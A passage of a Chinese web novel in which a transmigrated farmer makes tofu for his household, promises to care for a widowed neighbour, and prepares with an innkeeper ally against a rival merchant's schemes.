王金石眯起眼睛,认出了这小子。最近店里生意火爆,他新招了三个伙计,这小子是他本家的穷亲戚,当初死缠烂打地求着来做工,没想到才来半个月,就敢干出这种吃里扒外的勾当。若不是李逸提醒,他至今还被蒙在鼓里。
“**!”
王金石气得上前一步,抬起大脚狠狠踹在那伙计胸口,将他踹得翻了个跟头。
“赶紧收拾你的东西滚蛋!回去告诉你爹,下次再敢舔着脸来求我,连他一起打!”
那伙计挣扎着爬起来,鼻涕眼泪糊了一脸,苦苦哀求:
“店主,我错了!我就拿了陈家管家两百钱,我都给你,求你再给我一次机会!”
“两百钱?!”
王金石气得发笑,指着他的鼻子骂道:“你就这么不值钱?今天给你两百,明天给你两千、两万,你是不是要把我这酒肆都给陈林送过去?”
“滚!立刻滚!再啰嗦一句,我直接把你丢到城外!”
那伙计吓得连滚带爬地跑出酒肆,连自己的包袱都忘了拿。
王金石余怒未消,转头又扫视了一圈剩下的伙计,语气冰冷:
“还有谁想走?趁早说!”
“留下的,就得心里有数,知道自己是谁的人,该向着谁!我王金石从不亏待忠心耿耿的人!”
丁二连忙表态:“店主您放心!下次再让我发现谁吃里扒外,不用您动手,我先帮您打断他的腿!”
其他伙计也纷纷附和:“就是!整个安平县,再也找不到比您更体恤下人的店主了,吃里扒外就是不知好歹!”
王金石正心烦意乱,懒得听这些虚情假意地表忠心,不耐烦地挥挥手:
“去去去!都忙自己的活儿去,别在这儿碍眼!”
伙计们如蒙大赦,纷纷散去。
王金石背负双手,在大厅里踱来踱去,眉头拧成了疙瘩。
他这馒头生意才刚火起来,陈林那条老狐狸就坐不住了,竟然动了抢配方的歪心思,这次没抢成功后面肯定还有其它歪心思,必须想个法子应对才行。
中间出了这么一档子事,李逸出城时,天色已经擦黑。
冬日的暮色来得快,残阳的余晖刚消失,寒意就像潮水般涌了上来,大骡子这些日子跟着他往返县城和大荒村,早就认熟了路,不用刻意驱赶,也能稳稳地顺着道往前走。
李逸骑在骡背上,脑子里还在琢磨陈家的事。
对方既然已经打上了馒头配方的主意,就说明已经把他和王记酒肆当成了眼中钉,这次没能得手,后续肯定还会找其他麻烦。
他也是今天才知道,王金石的家业远比他想象的大,除了这家酒肆,安平县的马匹生意几乎被王家垄断了。这样一来,后续他若是想买马,倒是方便了不少。
可即便如此,王家单独对上陈家,还是有些势单力薄。
陈家在安平县经营多年,不仅有最大的食肆陈芳斋、布行陈记,还垄断了一半的食盐生意,家底厚,人脉广,不是那么好对付的。
“看来,得拉些盟友才行。”李逸心里打定主意。
钩心斗角的事他不擅长,也懒得耗费太多精力,最好的办法就是联合其他和陈家有过节的商户,形成一个商业联盟,以王金石为首共同对抗陈家。
而他自己,只需要安安稳稳地当他的粮农,提供新奇的吃食配方,既能赚钱,又能享受大齐王朝对农户的扶持政策。
给大骡子卸下了拉车的枷锁,让它轻快地赶路,李逸终于在后半夜赶回了家。
屋里的火炕依旧暖烘烘的,白雪儿却有些坐立不安。
自从认定了要给李逸生个大胖小子,她的心思就全扑在了这上面,今天更是格外不老实,一会儿戳戳李逸的胳膊,一会儿拉拉他的衣袖,眼神里满是期待。
李逸也是无奈。身体的隐疾让他对男女之事毫无杂念,比柳下惠还要坐怀不乱。
他轻轻拍了拍白雪儿的手背,凑到她耳边,小声安抚道:“雪儿乖,夫君今天有些累了,等过几日,一定让你侍寝啊。”
他的声音压得极低,可还是没能逃过秦心月的耳朵。
秦心月的耳尖瞬间红透了,像烧红的烙铁,连带着脸颊都发起烫来。
她和李逸虽有夫妻之名,却无夫妻之实。
这些日子,两人之间的亲昵举动越来越多,可一想到侍寝二字,秦心月的心跳还是忍不住加快,既紧张又有些莫名的期待。
【哎呀……我在想什么呢!】
秦心月赶紧用被子捂住发烫的脸颊,只露出一双亮晶晶的眼睛,在黑暗中怔怔地盯着房梁,脑子里乱成一团。
李逸躺在中间,一边是白雪儿平稳的呼吸声,一边是秦心月略显急促的气息,不由得有些哭笑不得。
脑海中忽然闪过一个荒诞的念头让他打了个冷战,这不就是现实版的,漂亮的妻子和无能的我!艺术真是来源于生活。
不行!明天开始,必须抓紧时间提升医术熟练度!继续给张绣娘按摩哪怕一次只给2点熟练度,四天也够了。
第二天一早,天还没亮,李逸就爬起来修炼《气合拳》。
这次,他特意按照新获得的《气合拳呼吸法》来练习,起初还觉得有些别扭,呼吸和动作总也配合不好,可打了两轮之后,那种别扭感渐渐消失,一呼一吸间,竟觉得浑身充满了力气,招式也变得愈发流畅自然。
他和秦心月并肩站在院子里,动作一模一样,可给人的感觉却截然不同。
秦心月的招式沉稳有力,带着多年习武的功底,而李逸的招式虽完全相同,但却是多了种说不清道不明的气场,每一个动作都仿佛蕴含着某种韵律,气息也比往日沉稳了许多。
秦心月心中满是惊讶,她能清晰地感觉到李逸的变化。
五轮《气合拳》练完,李逸又试着打了第六遍,心里期待着熟练度能继续上涨,可系统却毫无反应。
“爸爸!不是吧?一天就固定5点熟练度?那500点熟练度岂不是要一百天才能攒够?”李逸忍不住在心里吐槽。
转念一想,秦心月自幼习武,修炼多年也才堪堪达到如今的水准,他能在这么短的时间内提升,已经算是逆天,也就释然了。
吃过早饭李逸就开始忙碌起来,今天他要着手制作豆腐!
提前泡了一夜的黄豆,已经吸足了水分,胀得圆滚滚的,李逸把它们倒进大木盆里,仔细挑拣出里面的坏豆和霉豆。白雪儿蹲在一旁看着,还以为他又要做豆芽。
炕头的十个木桶里,全是发酵好的老面,随着时间推移,那种独特的酸香味儿几乎弥漫了整个屋子,发酵效果也越来越好。每次蒸馒头需要放的老面越来越少,却能做出更多更松软的馒头。
张绣娘和陈氏也早早过来,两人轻车熟路地开始磨面、烧水,一边干活一边有说有笑,脸上满是对好日子的憧憬。
院墙外.....
一个脑袋正扒着围墙的豁口探头探脑,正是张绣娘的邻居大张寡妇。
最近一段时间,她眼看着张绣娘的气色越来越好,每天乐滋滋地往李三家跑,心里早就犯了嘀咕:“这张绣娘也太不害臊了,天天往男人家跑,还带着两个孩子,指不定在里面干些什么呢!”
今天,她实在按捺不住好奇心,偷偷跟了过来。
这一探头,顿时被院子里的景象惊呆了,院子里不仅有张绣娘和陈氏,还有一头高大的骡子,李三正围着奇怪的圆石头转来转去,不知道在忙活什么。
大张寡妇越看越觉得不对劲,心里暗暗琢磨:这李三肯定是发了大财,不然怎么会有这么多新奇玩意儿,连王赖子的疯婆娘都穿着冬衣干活,哪里还有半分疯癫的样子?
秦心月最先察觉到了院墙外的动静,她不动声色地瞥了一眼,屈指一弹,一块拇指大的石子嗖地飞出去,精准地打在围墙顶端,溅起一团干土正好迷了大张寡妇的眼睛。
“哎呦呦!谁啊!”
大张寡妇疼得揉着眼睛,连连后退,再也不敢偷看,灰溜溜地跑回了家。
李逸抬头看了秦心月一眼,笑着说道:“心月,不用理会这种人,等来年开春,咱们把围墙再加高些就是了。”
说完,他
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将泡好的黄豆端到石磨旁边,又拿了一个空木盆放在石磨下方接豆浆。
做好准备后,李逸先用清水把石磨冲洗干净,然后抓起一把泡发的黄豆,放进石磨上方的圆孔里,双手扶住木柄,腰腹发力,缓缓转动石磨。转了两圈,他又舀了一勺清水淋进去,继续转动石磨。
黄白色的豆浆顺着石磨的缝隙缓缓渗出,滴落到下方的空木盆里。
“唉?夫君,这怎么磨出汁水来了?”
白雪儿瞪着圆溜溜的大眼睛,她还以为,磨出来的会是和面粉一样的粉末。
张绣娘和陈氏也围了过来,看着不断渗出的豆浆,脸上满是新奇。
“三兄弟,你这又是要做啥新鲜吃食啊?”张绣娘笑着问道,眼里满是期待。
“今天给你们弄个更新奇的,保证你们从没吃过!”李逸故作神秘地笑了笑。
“三叔最厉害了!”豆子也凑了过来,仰着小脸,看李逸的眼神里全是崇拜。
耗费了两个多时辰,李逸才把所有泡发的黄豆都研磨完毕,足足得到了两大盆黄白色的豆浆。不过,这豆浆里还混杂着不少豆渣,需要过滤才能变得细腻。
李逸早就提前做好了准备,他制作了长方形的木框,把厚实的麻布铺在上面,用绳子固定好,做成一个简易的滤网,这是第一道过滤,先把粗豆渣筛出来,正好可以给大骡子当饲料。
细腻的豆浆顺着麻布渗下去,留在滤网上的粗豆渣李逸他收集起来,倒进了骡子的食槽里。
紧接着,他又拿出更细密的纱布,铺在另一个木框上,进行第二次过滤,把麻布过滤不掉的细渣彻底筛干净。
白雪儿踮着脚尖,好奇地看着豆浆顺着纱布的纹路缓缓渗出,细腻的汁水在木盆里泛起细密的泡沫,空气中渐渐弥漫开一股淡淡的豆香,不由得咽了咽口水。
过滤完毕,李逸把两大盆纯净的豆浆都倒进了大铁锅里,生火煮沸,这一步很重要,既能去掉生豆子的腥味,还能杀菌消毒。
趁着豆浆煮沸的功夫,李逸拿出买回来的生石膏,用温水调成了一碗乳白色的卤水,这是豆浆制作成豆腐的关键。
点卤的火候和用量都得拿捏精准,加少了豆腐不成型,加多了又会出现硬块影响口感。
李逸虽然脑子里有理论知识,可毕竟是第一次实践,只能小心翼翼地少加勤加,密切观察豆浆的变化。
锅里的豆浆渐渐沸腾起来,咕嘟咕嘟地冒着泡,浓郁的豆香弥漫了整个院子。
豆子和白雪儿蹲在锅灶旁,小鼻子不停地嗅着一脸陶醉的模样,下意识地吞咽口水动作几乎完全同步。
李逸看他们俩馋猫似的样子,忍不住笑了,拿起两个粗瓷碗,从锅里盛出两碗热气腾腾的豆浆。
“这是豆浆可以直接喝,等凉一点你们尝尝。”
想起小时候,奶奶做豆腐时总会给李逸盛一碗滚烫的豆浆,加两勺白糖,那味道是他童年最温暖的回忆。可惜眼下条件有限,白雪儿和豆子只能喝最原始的原味豆浆。
这个年代,既没有白砂糖,也没有冰糖,只有一种甜度很低的饴糖,除此之外就是蜂蜜那是贵族和富户才能享用的。
荒年里,农户们连粟米都吃不饱,哪里有闲心研究粮食的衍生品。就像王记酒肆卖的粟米酒,明明没什么酒味,却依旧是普通人喝不起的奢侈品。
白雪儿、豆子和大丫眼巴巴地看着两碗热气腾腾的豆浆,李逸又找了两个碗,把豆浆匀成四碗,然后继续盯着锅里的豆浆,观察点卤的时机。
“小婶婶,凉了吗?可以喝了吗?”豆子吸了吸鼻子,忍不住问道。
白雪儿端起碗,把鼻子凑近碗沿嗅了嗅,觉得这味道比想象中还要香。
她对着碗沿呼呼吹了几口气,等温度稍微降下来一些,才试探着喝了一小口。
淳厚的豆香在口腔里炸开,细腻的豆浆顺着喉咙滑下去,暖烘烘的,带着一丝淡淡的清甜,完全没有生豆子的腥味。
白雪儿的眼睛瞬间亮了起来,圆圆的眸子里闪着光,连忙对豆子和大丫点头:
“好喝!特别好喝!”
说着,她端起碗跑到李逸面前,献宝似的递过去:“夫君,你也尝尝!”
李逸接过碗,喝了一口,果然口感醇厚,豆香浓郁,就是少了点甜味。
他笑着点点头:“嗯,味道不错。”
紧接着,白雪儿又端着碗去找了于巧倩和秦心月,把剩下的一碗给了张绣娘和陈氏。几人尝了一口,都忍不住眼前一亮,纷纷称赞。
浓郁的豆香在院子里久久不散,李逸盯着锅里的豆浆,准备开始点卤,属于他的第一块豆腐,即将成型!
第五十九章:豆腐之父,夜探张绣娘
等锅里的豆浆稍稍冷却,不再冒着扑面的热气,李逸深吸一口气,准备进行最关键的环节!
点卤!
提前碾碎的生石膏已用温水彻底搅拌融化,碗底不见一丝沉淀,李逸握着木勺,顺着锅沿轻轻搅动,让豆浆在锅中旋出均匀的漩涡,这样卤水加入后便能顺势扩散与豆浆充分融合,不会沉积在一处影响凝固的效果。
李逸屏住呼吸,倾斜碗沿,让乳白色的卤水顺着勺壁缓缓流入豆浆中,动作轻缓得如同怕惊扰了什么。
静置片刻后,他舀起一勺查看,豆浆依旧澄澈,并未出现预期的絮状物,李逸心中早就有所准备,他保持匀速搅动,第二次加入卤水,这次虽呈现出零星的絮状,但松散破碎不够连续均匀。
第一次做豆腐本就需要一边实践一边摸索经验,李逸并未气馁。这一次次的尝试,都是在为后续固定用量、掌握火候做铺垫,越是繁琐后面就越是顺利。
第三次加完卤水,李逸盖上锅盖静置了十分钟。再次掀开时,用木勺一舀,棉絮般的豆花顺势缠绕在木勺上,质地绵密,倾斜木勺也不易滴落足够粘稠,正是最理想的状态。
若是卤水加过量出现硬块,还需加水稀释,那样难免影响豆腐的鲜香,好在这次拿捏得还算恰到好处。
趁着豆花静置的间隙,李逸着手准备压制模具。他拿出自制的木托盘,在底部和四周铺好干净的麻布,将凝结好的豆花缓缓倒入,用勺子轻轻铺平,又轻轻震动托盘,让豆花填满模具的每一处缝隙,避免成型后出现大的气孔。
随后将多余的麻布翻折过来,完全覆盖住豆花表面,再盖上一块与模具严丝合缝的木板,这木板也是李逸特意打造的,大小刚好契合,能让压力均匀传递。
最后的加压步骤,李逸拆了磨盘的上半部分充当配重,分量刚刚好。
压制时间直接决定豆腐的口感,时间短些是嫩滑的南豆腐,适合凉拌,时间长些则是瓷实的北豆腐,耐炖不易散。
李逸折中选择,既不想让豆腐过于软嫩,也不愿压得太过紧实,力求兼顾口感与实用性。
这期间,张绣娘和陈氏已经蒸出了两锅馒头,麦香混着豆香在院子里弥漫着。若不是李逸这边占着锅灶,她们还能蒸得更快些。
李逸暗自盘算,家里如今人多,又是蒸馒头又是做豆腐,至少还得再搭两口大锅两个灶膛才够用。而且这几日灶火不停,之前囤积的木柴已烧去一半,抽空还得进山补充。
白雪儿和豆子自从尝过豆浆后,就一直守在灶台旁,眼睛死死盯着锅盖,时不时踮起脚尖张望,对这新奇的吃食充满了期待。
估摸着时间差不多,李逸搬开磨盘配重,取下木板,掀开包裹的麻布。
一方洁白紧实的豆腐赫然出现在眼前。他用手指轻轻按了按,触感弹韧,既有足够的硬度,又不失嫩滑,正是他想要的效果。
“夫君!这豆腐可以吃了吗?”
白雪儿的小脸几乎贴在锅沿上,眼神亮晶晶的,那模样让李逸忍不住想,若是以后她生了孩子,怕是也会像她这般,是个贪吃的小馋猫。
“三叔!我也想吃!”豆子跟着白雪儿一起,小手紧紧攥着筷子,口水都快流出来了。
李逸笑着点头:“可以了,稍等片刻,给你们做几道不一样的吃法。”
为了这桌豆腐宴,李逸从早忙到晚,足足做出了两板豆腐。眼看天已擦黑,正是吃饭的时辰,他回屋冲了一碗盐水,又将新鲜的大葱切成细碎的葱花,绿油油的看着就喜人。
先用刀切下一块豆腐,之后切成均匀的薄片,码在大碗里,撒上葱花,浇上温热的盐水,这就是最简单的家常凉拌豆腐,最能凸显豆香本味。
紧接着,他又切了许多稍厚的豆腐片,将大铁锅烧干,倒入少许珍贵的动物油。待油花滋滋作响、完全化开后,把豆腐片一片片平铺在锅底,用小火慢慢煎制。
滋滋啦啦的声响中,金黄的油光裹着豆腐,浓郁的香味瞬间弥漫整个院子。
白雪儿和豆子闻着味儿,立刻凑得更近了,直勾勾地盯着锅里逐渐变得金黄的豆腐,不停地吞咽着口水。
“小婶婶,这好香啊!”豆子擦了把鼻涕,憨憨地说道,眼睛都舍不得眨一下。
白雪儿猛猛点头,脑袋如同捣蒜:“嗯嗯嗯……这金黄色看着就好吃!”
就连一直安静做事的于巧倩和秦心月,也被这诱人的香气吸引过来,围在锅灶旁,眼神中满是好奇与期待。
若是油多些,直接炸制效率更高,颜色也更均匀,但眼下动物油极为珍贵,自然不能这般浪费。
李逸又开始在盘算起来,等日后有空,一定要尝试压榨些大豆油,也好让吃食的做法更丰富些。
将煎得两面金黄的豆腐盛入大碗,李逸招呼道:“时间不早了,去拿几个刚蒸好的馒头,咱们开饭!”
饭桌摆好,众人围坐一圈....
桌上摆着三样豆腐,清清爽爽的葱拌豆腐、色泽金黄的煎豆腐,还有一盘切得整齐的原味豆腐。
李逸特意叮嘱:“咱们先尝尝原味的,再吃盐水葱花的,最后尝尝煎豆腐,慢慢品不同的味道。”
众人的目光随着他的话语移动,待他话音刚落,便迫不及待地各自夹了一片原味豆腐送入口中。
李逸咬下一口,浓郁的豆香在舌尖弥漫,口感细腻紧实,带着淡淡的清甜,正是记忆中奶奶做的豆腐味道,心中不禁泛起一阵暖意。
四周突然陷入寂静,所有人都像是被按下了暂停键,动作定格在吞咽的瞬间,一个个眼睛瞪得溜圆,脸上满是惊艳。
他们虽已喝过豆浆,对豆香有所预期,却从未想过豆腐会是这般口感,软嫩中带着韧劲,鲜香纯粹,是从未体验过的味觉冲击。
“夫君!你是怎么做到的?这豆腐也太好吃了!”白雪儿率先反应过来,语气中满是惊喜。
“嗯嗯嗯……三叔最厉害了!豆腐比馒头还好吃!”豆子嘴里塞着豆腐,含混不清地附和。
“夫君,这豆腐看着朴素,味道却这般不凡,必定受大户人家的喜爱”于巧倩轻轻咬着豆腐,眼中满是赞叹。
“哎呀,三兄弟,你这手艺也太厉害了!竟能把普通的豆子做成这好吃的吃食!”张绣娘也忍不住夸赞,脸上满是佩服。
听着众人的赞叹,李逸心中难免有些得意,他如今也算是这个世界的豆腐之父,馒头老祖了。
“你们再尝尝这个葱拌豆腐。”他说着,夹起一片蘸了盐水、撒了葱花的豆腐。
盐水的咸鲜与葱花的清香完美融合,让豆腐的味道更显丰富,清爽可口,最是下饭。
“夫君,真是神奇!只是加了点盐水和葱花,味道就完全不一样了!”
秦心月也忍不住惊叹,其他人纷纷点头附和,筷子不停往碗里夹。
最后压轴的是煎豆腐。金黄的外皮微脆,咬下去咔嚓一声,内里却依旧软嫩,外酥里嫩的口感层次鲜明,油脂的香气将豆香放大了数倍,带来强烈的味蕾冲击。
就连见多识广的秦心月,也忍不住动容:“此物这般美味,即便放在皇宫之中,怕是也算得上稀罕吃食,我们今日竟能这般畅快地享用。”
白雪儿吃得眼睛都亮了,根本顾不上说话。
豆子仰起头,小脸纠结在一起最后下定决心说道:“三叔,我不学打猎了,你教我做豆腐吧!”
一句话将众人都逗笑,轻松温馨的氛围在小屋中弥漫。
和馒头一样,豆腐也获得了所有人的一致好评,都说这般美味,即便是王公贵族也会喜爱,带到县城去卖,定能卖出高价。
李逸灵机一动,到时就给它取名白玉豆腐,既显贵气又贴合其色泽,名字好听了,售卖的价格自然也能往上提一提。
这么一想,他明日怕是又要跑一趟县城,和王金石商议豆腐的售卖事宜。
一顿饭吃完,众人还在回味豆腐的鲜香,尤其是白雪儿和豆子,嘴里不停念叨着,怕是连做梦都会梦到吃豆腐。
晚饭过后,李逸去了一趟何铁牛家,已有好几日没见到他。
还没走到院门口,就听到咚咚咚的声响,那是木桩撞击石臼脱粟米的声音,沉闷而有节奏。李逸不禁感慨,何铁牛名字里带个牛字,性子也真如老黄牛一般,从早到晚不知疲倦地干活。
说到黄牛,齐武帝深知耕牛对农耕的重要性,早已下旨禁止私**牛吃牛肉,这也是王记
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酒肆里难觅牛肉踪影的原因,就连羊肉也算得上稀罕物。
“铁牛哥,是我!”李逸在院门外喊了一声。
锤击声当即停下,片刻后,何铁牛披着一件破冬衣迎了出来,脸上满是惊喜:“哎呦!李三兄弟,你咋来了?快进屋暖和暖和!”
今年冬天能足不出户就赚到钱,全靠李逸提供的脱壳工具和法子,何铁牛心中一直感激,对李逸的到来自然格外热情。
“不了,铁牛哥,我就是来跟你说句话,说完就回去。”李逸摆了摆手。
“明日我要去趟县城,想麻烦你帮忙多弄些木柴。最近我家灶火用得多,木柴烧得快,等我回来,再给你琢磨个更赚钱的活计。”
何铁牛拍着胸脯,爽快地答应:“哎呀,兄弟!不过是砍些木柴,多大点事!明天我给你多砍些,保证够用,你放心去县城就是!”
看着李逸的身影消失在夜色中,何铁牛关上院门,转身回屋。
外屋门口,刘氏正皱着眉头站在那里,见他进来,语气不善地问道:
“谁呀?大晚上的还来敲门。”
“哦,是李三兄弟,他让我明天帮他砍一天柴。”何铁牛笑着回答,语气中满是不在意。
刘氏一听,眉头皱得更紧,声音陡然拔高:“你答应了?”
“李三兄弟开口让我帮忙,我为啥不答应?”何铁牛听出她语气不对,也皱起了眉头。
刘氏双手掐腰,尖声说道:“为啥?你说为啥!你现在一天能给粟米脱壳三四十斤,一天下来能赚三四十个铜板,去给李三砍柴,他给你多少铜板?这不是耽误咱们赚钱吗!”
何铁牛脸色一沉,语气严肃起来:“若是没有李三兄弟,咱们哪来的脱壳法子,哪能存下这么多粮赚这么多钱?这点忙算什么!”
刘氏见他动了气,气焰稍稍收敛了些,但嘴上依旧不依不饶:
“那之前你也没少帮他干活呀,他也没少使唤你,相互帮衬不是应该的吗?”
何铁牛一声冷哼,语气中带着几分无奈:“头发长见识短!我给李三兄弟干的那点力气活,值几个铜钱?再说了,李三兄弟临走前说了,等他回来,给我找个更赚钱的活计,比脱壳强多了。”
听到更赚钱的活计,刘氏的脸色瞬间变了,方才的不满一扫而空,脸上堆起谄媚的笑容,急切地问道:“真的?李三兄弟真这么说的?”
“当然是真的,我还能骗你不成!”何铁牛没好气地瞪了她一眼。
刘氏立刻换上一副和善的嘴脸,笑着说道:“这李三兄弟还算有良心,有好事能想着你。既然你都答应了,那你明天就去吧,多砍些木柴。”
何铁牛心中清楚自家婆娘的性子,以前家境贫寒,老娘瘫痪在床,她有怨言也能理解。
如今家里余粮充足手中也有了余钱,日子早已不用像从前那般紧巴巴,一日三餐都能吃饱。若是这样她还不知收敛,总想着斤斤计较、占便宜,何铁牛心中积压的情绪,总有一天会忍不住爆发出来。
从何铁牛家出来,李逸方向一转往张绣娘家走去。
天已经黑透了,月光透过稀疏的云层洒在积雪上,闪着银光。
张绣娘见李逸突然到访,脸上多少有些不自在,双手下意识地拢了拢衣襟,心中既紧张又隐隐带着一丝期待。
“三叔……你又来摸……”豆子嬉笑着从里屋跑出来,话还没说完,就被张绣娘眼疾手快地捂住了嘴。
李逸看着这母子俩的模样,忍不住笑了:“嫂子,最近天天蒸馒头,你也挺辛苦的,我过来看看你的腰伤有没有复发。”
“哦……也...也好。”
张绣娘本想拒绝,觉得自己的腰伤已经好了不少,但话到嘴边,却不由自主地答应下来。
“最近确实感觉腰有些酸胀,可能是累着了。”
她转头对豆子和大丫说道:“豆子,大丫,你们去外屋烧锅开水,一会洗完脚就早点睡。”
豆子还想说什么,就被大丫拉了出去,姐弟俩乖乖地去了外屋,还懂事地关上了房门。
屋里只剩下两人,气氛顿时变得有些微妙。没用李逸开口,张绣娘便轻车熟路地趴在了床上,后背对着他,脸颊早已红得发烫……
第六十章:三叔,我不和别人说你抱我娘
张绣娘这般的主动配合,李逸反倒有些手足无措了,他的大手悬在半空迟迟没能落下。
屋内.....静得能听见屋外的呼呼风声,等了半晌仍未感受到那期盼中的温热大手,张绣娘缓缓扭头,看见李逸眼底的犹豫,她的脸颊瞬间烧得更烫,连耳根和脖颈都跟着泛红。
又忍不住想起当初摔伤卧床动弹不得时,曾含决然说过等好了就给李逸的话。那时她是走投无路,看着豆子和大丫饿得面黄肌瘦,实在别无选择。
可这半个月来,孩子们的变化那是她亲眼所见,以前干巴巴的小脸如今透着肉感,个子似是也蹿高了些,她自己也气色变好了很多,嘴上吃的,身上穿的、头上戴的,有哪一样不是李逸给的?
虽说李逸始终一口一个嫂嫂相称,可这份照料早已超出了兄嫂的界限。
每个村子里都有不少女人在丧夫后,就跟着夫家兄弟过的例子,张绣娘起初也曾挣扎犹豫,可看着李逸对大丫和豆子视如己出,她那颗沉寂的心终究是动了。
若是一辈子守寡倒也罢了,可换做旁人,谁会这般真心待她的孩子?
如今张绣娘早已想通,只要李逸点头,她也不在乎有没有名分,只要能守着孩子、过安稳日子,便足够了。
李逸迟迟没有动作,张绣娘那份满心的期待,渐渐化作了淡淡的失落,甚至还有一丝难以言说的委屈。
就在她撑着胳膊想要起身时,李逸终于有了动作,温热的大手落在她的后腰上,开始按摩。
连日蒸馒头张绣娘的腰确实有些僵硬酸痛,可干惯了农活的她早已**以为常,也没有太多在意。
李逸的手掌温热厚实,力道比前几次轻了些,指尖带着细腻的触感,揉按得格外细致,恰好落在酸痛的穴位上。
两人一言不发,屋内只有张绣娘偶尔压抑的轻哼声,暧昧的气息如同窗外的寒气,悄然弥漫开来......
李逸率先开口,开口打破了这份沉寂:
“嫂嫂,你这腰还是有些僵硬啊,虽说是伤好了也不可太过劳累,该歇息时便歇息,明天开始每蒸完一锅馒头,你就和陈嫂休息一会,不能累着。”
李逸的声音温和淳厚,每一个字都落在张绣娘的心坎上,暖融融的,这种被人记挂、被人疼惜的感觉,是她守寡这些年从未体会过的。
暖意过后,心里上就像是有很多小虫子在爬,让人有些心慌。
【医术熟练度+2】
二十分钟的按摩时间,对李逸而言却有些漫长。
张绣娘的心意已然表露无遗,时不时还能听到她纠结的心声,这些李逸都看在眼里、听在耳中。
张绣娘是典型的大骨架女子,秦心月在这时代算算是女人中高挑的,却也比她略矮一些,宽肩窄腰,鹅蛋脸上五官大气明艳,是李逸最偏爱的轻熟御姐风韵。
若不是体内隐疾作祟,他真不敢保证自己能把持得住。
这古代虽有诸多落后不便之处,可一夫多妻的习俗,却是许多男子难以抗拒的。
李逸想着自己既已穿越而来,便该入乡随俗啊,更何况齐武帝本就提倡多生养、多种地,这也是在顺应国策嘛。
想通这点,李逸心中顾虑全消,念头通达,他深吸一口气,语气郑重:
“嫂嫂,初四哥已然走了这些年,你一个人拉扯两个孩子,这份坚韧我打心底佩服。往后....便由我来照顾你和孩子们吧。只要你愿意,初四哥泉下有知,也定然不会怪罪你的。”
这句话如同惊雷,炸响在张绣娘心头。
她一直暗自担心着,怕李逸嫌弃她是寡妇,如今亲耳听到他的承诺,积攒许久的委屈与期盼在心底爆发,她的眼眶瞬间红了,泪水毫无预兆地滚落。
“嫂嫂,你别哭啊……”李逸连忙抬手想去擦她的眼泪。
张绣娘却猛地起身,扑进他的怀里,双臂紧紧环住他的腰,眼泪如同断了线的珠子,簌簌落下:“我……我愿意!我愿意跟着你!”
张绣娘声音决然,显然是经过深思熟虑才给出的回答。
李逸轻轻拍着她的后背,柔声安抚。
张绣娘脸颊绯红,低下头,手指颤抖着便要去解自己的衣襟:“咱们……咱们得快点,别让孩子们撞见……”
李逸连忙抓住她的手,脸上带着几分尴尬的笑:
“呃......嫂子,不妥!孩子们还在外面,再说我明日还要去县城,需得回去准备一二,还是改日吧.....你既已答应是我的人,便跑不了的。”
张绣娘瞪了李逸一眼,眼底带着几分娇嗔,语气却温顺:“好....都听你的。”
两人正依偎着,忽然瞥见门口探进来两个小脑袋!
豆子吸着鼻涕,脸上带着憨憨的笑:“呵呵呵......”
大丫则红着脸,眼神躲闪。
张绣娘慌忙推开李逸,脸颊烫得比刚才还要红,她瞪了豆子一眼,嗔道:
“豆子,不许出去胡言乱语!若是敢说出去,来年三叔只带姐姐去县城,不带你去!”
一听这话,豆子脸上的笑容瞬间消失了,感觉小小的天都要塌了,委屈得险些哭出来:
“娘.....我知道了!我不跟旁人说三叔抱你!”
李逸无奈地一拍额头,不出意外的话肯定要出意外了.....
安平县城,陈家。
“没用的废物!这点小事都办不妥!”
清脆的杯盏碎裂声响起,陈林面色阴沉如铁,死死盯着跪在地上的陈忠。
陈忠吓得浑身发抖,连忙叩首:“家主息怒!当心气坏了身子,老奴办事不利,甘愿受罚!”
“哼!找了八个地痞无赖,竟连一个小小农户都拿不下,反倒全被押送县衙大牢,真是丢尽了我的脸!”陈林怒不可遏,来回踱步。
“不过好在你让无赖去办此事,若是派了府里的下人,此刻蹲大牢的便是你们!”
陈忠暗自松了口气,趴在地上小心翼翼地清理着地上的瓷片,不敢发出半点声响。
陈林停下脚步,指尖摩挲着腰间的玉佩,眼神阴鸷:
“这下倒是难办了。那农户与赵县尉似有交情,又认识不少兵卒,寻常手段怕是用不得了。日后再动手,必须手脚干净,不留半点痕迹。”
他自顾自沉吟,陈忠大气不敢喘,唯有俯身听着。
“王金石那厮,卖馒头便是抢了全城食肆酒肆的生意。不如趁机拉拢些商户,一同对付他。”
陈林眼中闪过算计:“馒头的配方也不能放弃,卖给谁不是卖?我便不信,我出的价钱更高,那农户会不动心?”
“你继续盯着那农户的动静,下次我亲自会会他。”
陈忠连忙叩首恭维:“家主谋虑深远,王金石那死胖子如何能与家主相提并论!”
“呵呵……”陈林轻笑一声,抬抬手:“起来吧。下次办事多用些心思,莫要再留下把柄。”
“是!老奴记下了!”陈忠连忙起身。
陈林回到桌前坐下,拿起一个白面馒头,轻轻咬了一口。
麦香醇厚,口感松软,很容易就能猜测出这是用麦子制作的。他细细品味着,嘴角勾起一抹冷笑:
“呵呵……将全城的大麦小麦尽数收购。我倒要看看,没有了原料,王金石还能如何做馒头!”
与此同时,王记酒肆的后院灯火通明。
伙计们正满头大汗地搬运着粮袋,一袋袋小麦被整齐地堆进粮仓。
自从知道陈林那老狐狸按捺不住,王金石便
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当机立断,连夜赶往各粮铺收购小麦,如今囤积的数量已然突破五千斤。
“都给我仔细着点!莫要让粮食受潮,还要提防鼠患!”
王金石亲自督阵,时不时叮嘱一句,肥厚的脸上满是凝重。
看着堆积如山的小麦,王金石眯起双眼,眼中闪过一丝狠厉:“哼……老狐狸,尽管放马过来!我倒要看看,你还有什么花招!”
次日正午,王记酒肆人声鼎沸,座无虚席。
馒头的生意愈发火爆,每日供不应求,别说一天四百个,便是八百个馒头,也不够客人争抢。
王金石正站在柜台后发愁,身后的伙计快步走上前来,在他耳边低语:“店主,李大哥来了。”
王金石有些诧异,李逸昨日才来过,路途遥远,难不成又是为了送馒头?他连忙吩咐道:
“好生招呼客人,我去去就来。”
后屋内,李逸正坐在火盆前烤火,双手搓了搓,驱散着身上的寒气。见王金石进来,他起身笑道:“王大哥。”
“李兄弟,虽说馒头卖得好,你也不必如此辛苦,一日一趟奔波。”
王金石命人搬来一张小桌,沏上热茶,给李逸倒了一碗。
李逸接过茶碗,笑道:“今日前来,不全是为了送馒头,主要是有件要事想与王大哥商议。”
王金石闻言,神色一正:“兄弟但说无妨,哥哥听着便是。”
李逸沉吟片刻,开门见山:“王大哥,你觉得,仅凭咱们二人,能与陈家抗衡吗?”
